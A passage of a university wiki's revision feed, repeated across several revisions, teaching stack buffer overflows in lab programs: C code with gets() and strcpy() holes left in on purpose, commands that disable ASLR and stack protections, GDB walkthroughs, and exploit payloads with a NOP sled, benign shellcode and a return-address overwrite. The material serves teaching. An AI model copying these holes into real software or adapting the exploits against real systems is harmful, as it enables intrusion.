0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17013</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17013"/>
		<updated>2024-12-11T18:54:54Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 1: Simple game to overwrite an integer */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
== Example 1: Simple Game to Overwrite an Integer==&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2: Execute your own shellcode ==&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17012</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17012"/>
		<updated>2024-12-11T18:54:11Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
== Example 1: Simple game to overwrite an integer==&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
